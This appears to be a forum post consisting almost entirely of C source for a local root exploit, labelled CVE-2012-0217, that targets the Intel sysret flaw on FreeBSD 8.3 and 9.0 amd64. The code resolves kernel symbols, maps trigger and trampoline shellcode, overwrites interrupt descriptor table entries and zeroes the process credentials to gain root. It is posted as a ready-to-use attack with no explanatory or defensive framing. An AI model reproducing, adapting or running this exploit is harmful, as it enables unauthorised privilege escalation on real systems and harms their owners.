sysret

CepbIu

RIPPER
Messages
61
Reaction score
19
Points
8
Code:
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <unistd.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/utsname.h>
#include <machine/cpufunc.h>
#define _WANT_UCRED
#include <sys/proc.h>
#include <machine/segments.h>
#include <sys/param.h>
#include <sys/linker.h>

uintptr_t Xofl_ptr, Xbnd_ptr, Xill_ptr, Xdna_ptr, Xpage_ptr, Xfpu_ptr, Xalign_ptr, Xmchk_ptr, Xxmm_ptr;

struct gate_descriptor * sidt()
{
	struct region_descriptor idt;

	asm ("sidt %0": "=m"(idt));

	return (struct gate_descriptor*)idt.rd_base;
} 

u_long get_symaddr(char *symname)
{
	struct kld_sym_lookup ksym;

	ksym.version = sizeof (ksym);
	ksym.symname = symname;

	if (kldsym(0, KLDSYM_LOOKUP, &ksym) < 0) {
		perror("kldsym");
		exit(1);
	}
	printf("    [+] Resolved %s to %#lx\n", ksym.symname, ksym.symvalue);
	return ksym.symvalue;
}

void setidt(struct gate_descriptor *idt, int idx, uintptr_t func, int typ, int dpl, int ist)
{
	struct gate_descriptor *ip;

	ip = idt + idx;
	ip->gd_looffset = func;
	ip->gd_selector = GSEL(GCODE_SEL, SEL_KPL);
	ip->gd_ist = ist;
	ip->gd_xx = 0;
	ip->gd_type = typ;
	ip->gd_dpl = dpl;
	ip->gd_p = 1;
	ip->gd_hioffset = func>>16;
}

void shellcode()
{
	printf("[*] Got root!\n");
	exit(0);
}

void kernelmodepayload()
{
	struct thread *td;
	struct ucred *cred;
	struct gate_descriptor *idt = sidt();
	setidt(idt, IDT_OF, Xofl_ptr, SDT_SYSIGT, SEL_KPL, 0);
	setidt(idt, IDT_BR, Xbnd_ptr, SDT_SYSIGT, SEL_KPL, 0);
	setidt(idt, IDT_UD, Xill_ptr, SDT_SYSIGT, SEL_KPL, 0);
	setidt(idt, IDT_NM, Xdna_ptr, SDT_SYSIGT, SEL_KPL, 0);
	setidt(idt, IDT_PF, Xpage_ptr, SDT_SYSIGT, SEL_KPL, 0);
	setidt(idt, IDT_MF, Xfpu_ptr, SDT_SYSIGT, SEL_KPL, 0);
	setidt(idt, IDT_AC, Xalign_ptr, SDT_SYSIGT, SEL_KPL, 0);
	setidt(idt, IDT_MC, Xmchk_ptr, SDT_SYSIGT, SEL_KPL, 0);
	setidt(idt, IDT_XF, Xxmm_ptr, SDT_SYSIGT, SEL_KPL, 0);

	asm ("mov %%gs:0, %0" : "=r"(td));

	cred = td->td_proc->p_ucred;
	cred->cr_uid = cred->cr_ruid = cred->cr_rgid = 0;
	cred->cr_groups[0] = 0;

	asm ("swapgs; sysretq;" :: "c"(shellcode));
}

#define TRIGGERCODESIZE 20
#define TRAMPOLINECODESIZE 18

void trigger()
{
	printf("[*] Setup...\n");

	printf("    [+] Trigger code...\n");
	uint64_t pagesize = getpagesize();
	uint8_t * area = (uint8_t*)((1ULL << 47) - pagesize);
	area = mmap(area, pagesize,
		PROT_READ | PROT_WRITE | PROT_EXEC,
		MAP_FIXED | MAP_ANON | MAP_PRIVATE, -1, 0);
	if (area == MAP_FAILED) {
		perror("mmap (trigger)");
		exit(1);
	}

	char triggercode[] =
		"\xb8\x18\x00\x00\x00"
		"\x48\x89\xe3"
		"\x48\xbc\xbe\xba\xfe\xca\xde\xc0\xad\xde"
		"\x0f\x05";

	uint8_t * trigger_addr = area + pagesize - TRIGGERCODESIZE;
	memcpy(trigger_addr, triggercode, TRIGGERCODESIZE);

	*(uint64_t*)(trigger_addr + 10) = (uint64_t)(((uint8_t*)&sidt()[14]) + 10 * 8);

	printf("    [+] Trampoline code...\n");
	char trampolinecode[] =
		"\x0f\x01\xf8"
		"\x48\x89\xdc"
		"\x48\xb8\xbe\xba\xfe\xca\xde\xc0\xad\xde"
		"\xff\xe0";

	uint8_t * trampoline = (uint8_t*)(0x900000000 | (Xpage_ptr & 0xFFFFFFFF));
	size_t trampoline_allocsize = pagesize;

	if ((uint8_t*)((uint64_t)trampoline & ~(pagesize-1)) + pagesize < trampoline + TRAMPOLINECODESIZE)
		trampoline_allocsize += pagesize;
	if (mmap((void*)((uint64_t)trampoline & ~(pagesize-1)), trampoline_allocsize,
		PROT_READ | PROT_WRITE | PROT_EXEC,
		MAP_FIXED | MAP_ANON | MAP_PRIVATE, -1, 0) == MAP_FAILED)
	{
		perror("mmap (trampoline)");
		exit(1);
	}
	memcpy(trampoline, trampolinecode, TRAMPOLINECODESIZE);
	*(uint64_t*)(trampoline + 8) = (uint64_t)kernelmodepayload;

	printf("[*] Fire in the hole!\n");
	((void (*)())trigger_addr)();
}

typedef struct validtarget
{
	char * sysname;
	char * release;
	char * machine;
} validtarget_t;

int validate_target(char * sysname, char * release, char * machine)
{
	validtarget_t targets[] = {
		{ "FreeBSD", "8.3-RELEASE", "amd64" },
		{ "FreeBSD", "9.0-RELEASE", "amd64" },
		{ 0, 0, 0 }
	};

	int found = 0;
	int i = 0;

	while (!found && targets[i].sysname) {
		found = !strcmp(targets[i].sysname, sysname)
			&& !strcmp(targets[i].release, release)
			&& !strcmp(targets[i].machine, machine);
		++i;
	}
	return found;
}

void get_cpu_vendor(char * cpu_vendor)
{
	u_int regs[4];

	do_cpuid(0, regs);
   ((u_int *)cpu_vendor)[0] = regs[1];
   ((u_int *)cpu_vendor)[1] = regs[3];
   ((u_int *)cpu_vendor)[2] = regs[2];
   cpu_vendor[12] = '\0';
}

int is_intel()
{
	char cpu_vendor[13];

	get_cpu_vendor(cpu_vendor);
	return !strcmp(cpu_vendor, "GenuineIntel");
}

int main(int argc, char *argv[])
{
	printf("CVE-2012-0217 Intel sysret exploit -- iZsh (izsh at fail0verflow.com)\n\n");

	printf("[*] Retrieving host information...\n");
	char cpu_vendor[13];
	get_cpu_vendor(cpu_vendor);
	struct utsname ver;
	uname(&ver);
	printf("    [+] CPU: %s\n", cpu_vendor);
	printf("    [+] sysname: %s\n", ver.sysname);
	printf("    [+] release: %s\n", ver.release);
	printf("    [+] version: %s\n", ver.version);
	printf("    [+] machine: %s\n", ver.machine);
	printf("[*] Validating target OS and version...\n");
	if (!is_intel() || !validate_target(ver.sysname, ver.release, ver.machine)) {
		printf("    [+] NOT Vulnerable :-(\n");
		exit(1);
	} else
		printf("    [+] Vulnerable :-)\n");

	printf("[*] Resolving kernel addresses...\n");
	Xofl_ptr = (uintptr_t)get_symaddr("Xofl");
	Xbnd_ptr = (uintptr_t)get_symaddr("Xbnd");
	Xill_ptr = (uintptr_t)get_symaddr("Xill");
	Xdna_ptr = (uintptr_t)get_symaddr("Xdna");
	Xpage_ptr = (uintptr_t)get_symaddr("Xpage");
	Xfpu_ptr = (uintptr_t)get_symaddr("Xfpu");
	Xalign_ptr = (uintptr_t)get_symaddr("Xalign");
	Xmchk_ptr = (uintptr_t)get_symaddr("Xmchk");
	Xxmm_ptr = (uintptr_t)get_symaddr("Xxmm");

	trigger();
	return 0;
}
 
Top